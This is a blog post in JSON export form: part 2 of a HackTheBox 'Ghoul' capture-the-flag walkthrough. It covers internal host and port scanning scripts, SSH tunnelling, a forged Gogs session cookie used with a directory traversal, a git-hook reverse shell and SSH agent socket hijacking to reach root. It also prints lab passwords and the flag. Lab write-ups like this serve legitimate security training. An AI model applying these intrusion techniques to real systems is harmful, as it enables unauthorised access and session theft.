{"id":573,"date":"2021-01-05T13:42:37","date_gmt":"2021-01-05T13:42:37","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=573"},"modified":"2021-01-05T13:42:42","modified_gmt":"2021-01-05T13:42:42","slug":"ghoul-hackthebox-walkthrough-part-2","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/ghoul-hackthebox-walkthrough-part-2\/","title":{"rendered":"Ghoul hackthebox walkthrough &#8211; Part 2"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Hey fellas! This is the follow-up post to pwn the ghould from hackthebox. You can find the part 1 of the walkthrough <span class=\"has-inline-color has-vivid-cyan-blue-color\"><a aria-label=\"undefined (opens in a new tab)\" href=\"https:\/\/shreyapohekar.com\/blogs\/ghoul-hackthebox-walkthrough-part-1\/\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a><\/span>.<\/p>\n\n\n\n<p>Lets quickly jump into grabbing the root.txt<\/p>\n\n\n\n<p>After logging in as kaneki there were a few files present.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"375\" height=\"68\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-16.png\" alt=\"\" class=\"wp-image-574\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-16.png 375w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-16-300x54.png 300w\" sizes=\"(max-width: 375px) 100vw, 375px\" \/><\/figure>\n\n\n\n<p>Notes.txt has something interesting!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1022\" height=\"58\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-17.png\" alt=\"\" class=\"wp-image-575\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-17.png 1022w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-17-300x17.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-17-768x44.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-17-640x36.png 640w\" sizes=\"(max-width: 1022px) 100vw, 1022px\" \/><\/figure>\n\n\n\n<p>The content of other files were<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">root@Aogiri:\/home\/Eto# cat alert.txt \nHey Noro be sure to keep checking the humans for IP logs and chase those little shits down!\n\nroot@Aogiri:\/home\/kaneki# cat notes\nI've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc.\nDM me for the access.\n\nroot@Aogiri:\/home\/noro# cat to-do.txt \nNeed to update backups.<\/pre>\n\n\n\n<p>note.txt talking about the vulnerability in gogs and there is some file server present that means a different system. Also, there are some test accounts present. <\/p>\n\n\n\n<p>Lets find any active machine. <\/p>\n\n\n\n<p>Next task was to find all the other active mahines. That can be done by compiling the nmap binary, but why not try writing a bash script to do the same?!<\/p>\n\n\n\n<p>Below is the script to find the online machines using bash and ping<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">#!\/bin\/bash\n\nfor i in $(seq 2 255); do\n        ping -c 1 -W 1 172.20.0.$i 1&gt;\/dev\/null 2&gt;&amp;1\n        if [[ $? -eq 0 ]]; then\n                echo \"172.20.0.$i - Online\"\n        fi\ndone\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"298\" height=\"196\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-18.png\" alt=\"\" class=\"wp-image-576\"\/><\/figure>\n\n\n\n<p>So the script found 2 ips online : 172.20.0.10 and 172.20.0.150<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"647\" height=\"104\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-19.png\" alt=\"\" class=\"wp-image-577\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-19.png 647w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-19-300x48.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-19-640x103.png 640w\" sizes=\"(max-width: 647px) 100vw, 647px\" \/><\/figure>\n\n\n\n<p>Listing the contents of authorized keys bought to my notice that kaneki_pub is a user on the machine with hostname kaneki-p (whose ip is 172.20.0.150). So let&#8217;s try sshing!!!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"451\" height=\"74\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-20.png\" alt=\"\" class=\"wp-image-578\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-20.png 451w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-20-300x49.png 300w\" sizes=\"(max-width: 451px) 100vw, 451px\" \/><\/figure>\n\n\n\n<p>It asks for passphrase. Remeber when the website leaked secret.php. It contained our passphare being : ILoveTouka &lt;3 and voila we got in. Same pass is used again and again!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"355\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-21.png\" alt=\"\" class=\"wp-image-579\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-21.png 602w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-21-300x177.png 300w\" sizes=\"(max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p>to-do.txt tells us that a user named AogiriTest is present.<\/p>\n\n\n\n<p>Ifconfig is giving us 2 network interfaces eth0 and eth1. Aogiri&#8217;s ip is 172.20.0.10 and kaneki-pc&#8217;s ip is 172.20.0.150 hence they are on the same network.<\/p>\n\n\n\n<p>Now in ifconfig of kaneki-pc,  we can clearly see completely different network present that has the subnet mask of 172.18.0.0\/24. Now lets create a script to scan for port on eth1 interface. We can use the previously built script to find out the active machines.<\/p>\n\n\n\n<p>172.18.0.2 came out to be as an active machine. So lets scan for its ports.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">#!\/bin\/bash\n\necho 1 &gt; \/dev\/tcp\/172.18.0.2\/$1 1&gt;\/dev\/null 2&gt;&amp;1\nif [[ $? -eq 0 ]]; then\n        echo \"172.18.0.2:$1 - online\"\nfi\n<\/pre>\n\n\n\n<p>And we get 22 and 3000 as online. I just made a guess with 3000 as its the default port for gogs and earlier we got some hints around txt files.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"403\" height=\"97\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-22.png\" alt=\"\" class=\"wp-image-580\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-22.png 403w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-22-300x72.png 300w\" sizes=\"(max-width: 403px) 100vw, 403px\" \/><\/figure>\n\n\n\n<p>In order to access the gogs, ssh port-forwarding has to be done.<\/p>\n\n\n\n<p>Reason? Gogs is running inside a docker which has no gui. So in order to view the gui and run gogs on the browser, the port X of the local machine has to be mapped to the port 3000 of the docker. And thats called as ssh port forwarding.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Tunneling<\/h1>\n\n\n\n<p>press enter and then ~C to enter the ssh mode<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"200\" height=\"54\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-23.png\" alt=\"\" class=\"wp-image-581\"\/><\/figure>\n\n\n\n<p>You can find more about ssh konami codes here\u2192 <a href=\"https:\/\/www.sans.org\/blog\/using-the-ssh-konami-code-ssh-control-sequences\/\">https:\/\/www.sans.org\/blog\/using-the-ssh-konami-code-ssh-control-sequences\/<\/a><\/p>\n\n\n\n<p>We will be doing a local port forward. So we r listening on our box and then we will be directing this to 172.20.0.150 (where we had our kaneki_pub) on port 22<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"254\" height=\"70\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-24.png\" alt=\"\" class=\"wp-image-582\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/s3-us-west-2.amazonaws.com\/secure.notion-static.com\/f7bce5a7-8f03-4797-b0ed-3e8b7ee8225b\/Untitled.png\" alt=\"https:\/\/s3-us-west-2.amazonaws.com\/secure.notion-static.com\/f7bce5a7-8f03-4797-b0ed-3e8b7ee8225b\/Untitled.png\"\/><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">root@kali:~\/Desktop\/hackthebox\/ghoul# ssh -p 5001 -i kaneki kaneki_pub@localhost\nload pubkey \"kaneki\": invalid format\nEnter passphrase for key 'kaneki': \nLast login: Sun Nov 29 09:05:38 2020 from 172.20.0.10\nkaneki_pub@kaneki-pc:~$\n\nkaneki_pub@kaneki-pc:~$ \nkaneki_pub@kaneki-pc:~$ \nssh&gt; -L 3000:172.18.0.2:3000\n<\/pre>\n\n\n\n<p>After sshing from the local machine as kaneki_pub, port 3000 of kaneki-pc has to be mapped with port 3000 of the local machine. So when i run <a href=\"http:\/\/localhost:3000\">http:\/\/localhost:3000<\/a> on local machine, it is actually getting executed on kaneki-pc. I hope everything makes sense!!!<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"235\" height=\"108\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-25.png\" alt=\"\" class=\"wp-image-583\"\/><\/figure>\n\n\n\n<p>Now we have a tunnel that is listening on our port 3000 and will go to 172.18.0.2:3000<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"709\" height=\"399\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-26.png\" alt=\"\" class=\"wp-image-584\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-26.png 709w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-26-300x169.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-26-640x360.png 640w\" sizes=\"(max-width: 709px) 100vw, 709px\" \/><\/figure>\n\n\n\n<p>And we get gogs landing page, asking for username and password. But notice that version of gogs.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"357\" height=\"66\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-27.png\" alt=\"\" class=\"wp-image-585\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-27.png 357w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-27-300x55.png 300w\" sizes=\"(max-width: 357px) 100vw, 357px\" \/><\/figure>\n\n\n\n<p>Now a bit of previous information is required. to-do.txt revelas a username AogiriTest of which the password can be found in tomcat configuration files.<\/p>\n\n\n\n<p>password found in the tomcat (test@aogiri123)<\/p>\n\n\n\n<p>Once logged into the gogs, create a repository.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">root@kali:~\/Desktop\/hackthebox\/ghoul# go run cookiegen.go \n0eff81040102ff82000110011000005aff82000306737472696e670c070005756e616d6506737472696e670c060004726f6f7406737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e74363404020002\n<\/pre>\n\n\n\n<p>it created a go serialized object<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"584\" height=\"139\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-28.png\" alt=\"\" class=\"wp-image-586\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-28.png 584w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-28-300x71.png 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure>\n\n\n\n<p>upload this file on the newly created git repo.<\/p>\n\n\n\n<p>The vulnerable version allows us to perform a directory traversal.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"707\" height=\"191\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-29.png\" alt=\"\" class=\"wp-image-587\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-29.png 707w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-29-300x81.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-29-640x173.png 640w\" sizes=\"(max-width: 707px) 100vw, 707px\" \/><\/figure>\n\n\n\n<p>Viewing the page source gives us the information about directory.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"567\" height=\"131\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-31.png\" alt=\"\" class=\"wp-image-589\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-31.png 567w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-31-300x69.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/figure>\n\n\n\n<p>So now, we need to do a directory traversal. If the file exsts, i_like_gogits will execute the data file<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"706\" height=\"329\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-32.png\" alt=\"\" class=\"wp-image-590\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-32.png 706w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-32-300x140.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-32-640x298.png 640w\" sizes=\"(max-width: 706px) 100vw, 706px\" \/><\/figure>\n\n\n\n<p>And voila! We are now signed in as kaneki.<\/p>\n\n\n\n<p>Now the git hooks can be modified to get the reverse shell based on triggers of file upload.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"704\" height=\"299\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-33.png\" alt=\"\" class=\"wp-image-591\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-33.png 704w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-33-300x127.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-33-640x272.png 640w\" sizes=\"(max-width: 704px) 100vw, 704px\" \/><\/figure>\n\n\n\n<p>Open a nc listener on local machine and upload a file on git gogs. Make a commit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"665\" height=\"140\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-34.png\" alt=\"\" class=\"wp-image-592\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-34.png 665w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-34-300x63.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-34-640x135.png 640w\" sizes=\"(max-width: 665px) 100vw, 665px\" \/><\/figure>\n\n\n\n<p>And we get a shell with git user.<\/p>\n\n\n\n<p>Now run enumeration script (<a href=\"http:\/\/linenum.sh\">linenum.sh<\/a>). I found gosu binary was present. And you guessed it right, it can be used to escalate privileges.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"951\" height=\"240\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-35.png\" alt=\"\" class=\"wp-image-593\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-35.png 951w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-35-300x76.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-35-768x194.png 768w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-35-640x162.png 640w\" sizes=\"(max-width: 951px) 100vw, 951px\" \/><\/figure>\n\n\n\n<p>A few more steps revelas the actual password for user- kaneki on git gogs<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"710\" height=\"215\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-36.png\" alt=\"\" class=\"wp-image-594\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-36.png 710w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-36-300x91.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-36-640x194.png 640w\" sizes=\"(max-width: 710px) 100vw, 710px\" \/><\/figure>\n\n\n\n<p>I downloaded the 7z file on local machine for analysis. git reflog got me something interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"651\" height=\"284\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-37.png\" alt=\"\" class=\"wp-image-595\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-37.png 651w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-37-300x131.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-37-640x279.png 640w\" sizes=\"(max-width: 651px) 100vw, 651px\" \/><\/figure>\n\n\n\n<p># git diff e29ad43<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"705\" height=\"294\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-38.png\" alt=\"\" class=\"wp-image-596\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-38.png 705w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-38-300x125.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-38-640x267.png 640w\" sizes=\"(max-width: 705px) 100vw, 705px\" \/><\/figure>\n\n\n\n<p>So there were multiple passwords written in here. But the one that works is kaneki: 7^Grc%C\\7xEQ?tb4<\/p>\n\n\n\n<p>I quickly did su<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"654\" height=\"135\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-39.png\" alt=\"\" class=\"wp-image-597\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-39.png 654w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-39-300x62.png 300w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-39-640x132.png 640w\" sizes=\"(max-width: 654px) 100vw, 654px\" \/><\/figure>\n\n\n\n<p>Oh man! Its not over yet!!!<\/p>\n\n\n\n<p>I again did some more enumeration and found out that ssh-agent is running on the box. <\/p>\n\n\n\n<p>Root is periodically logging in and hence his session can be captured and we will be able to finally login as root on the box that is hosting all the docker machines.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is ssh-agent??<\/h2>\n\n\n\n<p>You can relate that to single-sign on. So you just give the credentails once and the agent will take care of signing in to the rest of the services. The agent keeps track of the user&#8217;s identity keys and the passphrase and then uses those keys to login to other servers. SSH ForwardAgent is yes means the agent is active.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Getting the root<\/h1>\n\n\n\n<ul class=\"wp-block-list\"><li>watch -n 1 ls<\/li><\/ul>\n\n\n\n<p>and watch for newly created sessions. and use that agent to login to root via ssh<\/p>\n\n\n\n<p>There are 3 agent files already present. Whenever a new session is identified, a folder is created. cd there run the command below.<\/p>\n\n\n\n<p>But you need to be quick as the session is valid for less time.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>root@kaneki-pc> SSH_AUTH_SOCK=agent.735 ssh <a href=\"mailto:root@172.18.0.1\">root@172.18.0.1<\/a> -p 2222<\/li><\/ul>\n\n\n\n<p>The above command has to be used to login with the hijacked session. port 2222 is used as from previous nmap scan, it was identified that ssh  is open on 2 ports. SSH to root@172.18.0.1 will directly take us to the main machine that hosts all the dockers ( as 172.18.0.1 is the bridge between the host machine and the docker-machine)<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background scroll\">root@kaneki-pc:\/tmp\/ssh-DDqnmNeHYt# watch -n 1 ls\nroot@kaneki-pc:\/tmp\/ssh-DDqnmNeHYt# cd ..\nroot@kaneki-pc:\/tmp# watch -n 1 ls\nroot@kaneki-pc:\/tmp# cd ssh-OWLSx63kgc\nroot@kaneki-pc:\/tmp\/ssh-OWLSx63kgc# ls\nagent.35823\n<strong>root@kaneki-pc<\/strong>:\/tmp\/ssh-OWLSx63kgc#  SSH_AUTH_SOCK=agent.35823 ssh root@172.18.0.1 -p 2222\nWelcome to Ubuntu 18.04.1 LTS (GNU\/Linux 4.15.0-45-generic x86_64)\n\n * Documentation:  &lt;https:\/\/help.ubuntu.com>\n * Management:     &lt;https:\/\/landscape.canonical.com>\n * Support:        &lt;https:\/\/ubuntu.com\/advantage>\n\n * Canonical Livepatch is available for installation.\n   - Reduce system reboots and improve kernel security. Activate at:\n     &lt;https:\/\/ubuntu.com\/livepatch>\n\n155 packages can be updated.\n0 updates are security updates.\n\nFailed to connect to &lt;https:\/\/changelogs.ubuntu.com\/meta-release-lts>. Check your Internet connection or proxy settings\n\nLast login: Sun Nov 29 08:48:01 2020 from 172.18.0.200\nroot@Aogiri:~# whoami\nroot\n<strong>root@Aogiri<\/strong>:~# ls\nlog.sh  root.txt\nroot@Aogiri:~# cat root.txt \n7c0f11041f210f4fadff7c077539e72f\nroot@Aogiri:~#\n<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"454\" height=\"137\" src=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-40.png\" alt=\"\" class=\"wp-image-598\" srcset=\"https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-40.png 454w, https:\/\/shreyapohekar.com\/blogs\/wp-content\/uploads\/2021\/01\/image-40-300x91.png 300w\" sizes=\"(max-width: 454px) 100vw, 454px\" \/><\/figure>\n\n\n\n<p>Well! That was a long one!!! But got my way through! Big thanks to ippsec&#8217;s walkthrough for the references i had to take while stuck!<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Extras<\/h1>\n\n\n\n<p>Lets have a look at the ifconfig command for this machine!<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background scroll\">root@Aogiri:~# ifconfig\nbr-1fdaa7f6f1a9: flags=4099&lt;UP,BROADCAST,MULTICAST&gt;  mtu 1500\n        inet 172.21.0.1  netmask 255.255.0.0  broadcast 172.21.255.255\n        ether 02:42:59:85:5b:cf  txqueuelen 0  (Ethernet)\n        RX packets 0  bytes 0 (0.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 0  bytes 0 (0.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nbr-26bd0e80040c: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255\n        inet6 fe80::42:42ff:fed8:69e1  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 02:42:42:d8:69:e1  txqueuelen 0  (Ethernet)\n        RX packets 1336  bytes 525072 (525.0 KB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1322  bytes 264314 (264.3 KB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nbr-3a83615557c8: flags=4099&lt;UP,BROADCAST,MULTICAST&gt;  mtu 1500\n        inet 172.19.0.1  netmask 255.255.0.0  broadcast 172.19.255.255\n        ether 02:42:e2:32:73:03  txqueuelen 0  (Ethernet)\n        RX packets 0  bytes 0 (0.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 0  bytes 0 (0.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nbr-fceeb1f42539: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 172.20.0.1  netmask 255.255.0.0  broadcast 172.20.255.255\n        inet6 fe80::42:e1ff:feda:39ef  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 02:42:e1:da:39:ef  txqueuelen 0  (Ethernet)\n        RX packets 13439  bytes 2843945 (2.8 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 14422  bytes 1265247 (1.2 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\ndocker0: flags=4099&lt;UP,BROADCAST,MULTICAST&gt;  mtu 1500\n        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255\n        ether 02:42:64:7b:bd:8a  txqueuelen 0  (Ethernet)\n        RX packets 0  bytes 0 (0.0 B)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 0  bytes 0 (0.0 B)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nens33: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 10.10.10.101  netmask 255.255.255.0  broadcast 10.10.10.255\n        inet6 fe80::250:56ff:feb9:d94c  prefixlen 64  scopeid 0x20&lt;link&gt;\n        inet6 dead:beef::250:56ff:feb9:d94c  prefixlen 64  scopeid 0x0&lt;global&gt;\n        ether 00:50:56:b9:d9:4c  txqueuelen 1000  (Ethernet)\n        RX packets 14396  bytes 1168534 (1.1 MB)\n        RX errors 0  dropped 43  overruns 0  frame 0\n        TX packets 13026  bytes 3217119 (3.2 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 40295  bytes 2863663 (2.8 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 40295  bytes 2863663 (2.8 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nveth4eed7dc: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet6 fe80::c0a7:32ff:fec5:92a5  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether c2:a7:32:c5:92:a5  txqueuelen 0  (Ethernet)\n        RX packets 789  bytes 1207193 (1.2 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1084  bytes 175777 (175.7 KB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nveth524b739: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet6 fe80::30f7:d9ff:fee0:f277  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 32:f7:d9:e0:f2:77  txqueuelen 0  (Ethernet)\n        RX packets 13110  bytes 2457241 (2.4 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 13968  bytes 1190093 (1.1 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nvethf122d05: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet6 fe80::e4f2:f7ff:fefc:93c7  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether e6:f2:f7:fc:93:c7  txqueuelen 0  (Ethernet)\n        RX packets 1808  bytes 318386 (318.3 KB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 1649  bytes 1086435 (1.0 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nvethf6a4f69: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet6 fe80::18d2:b2ff:feea:6cd3  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 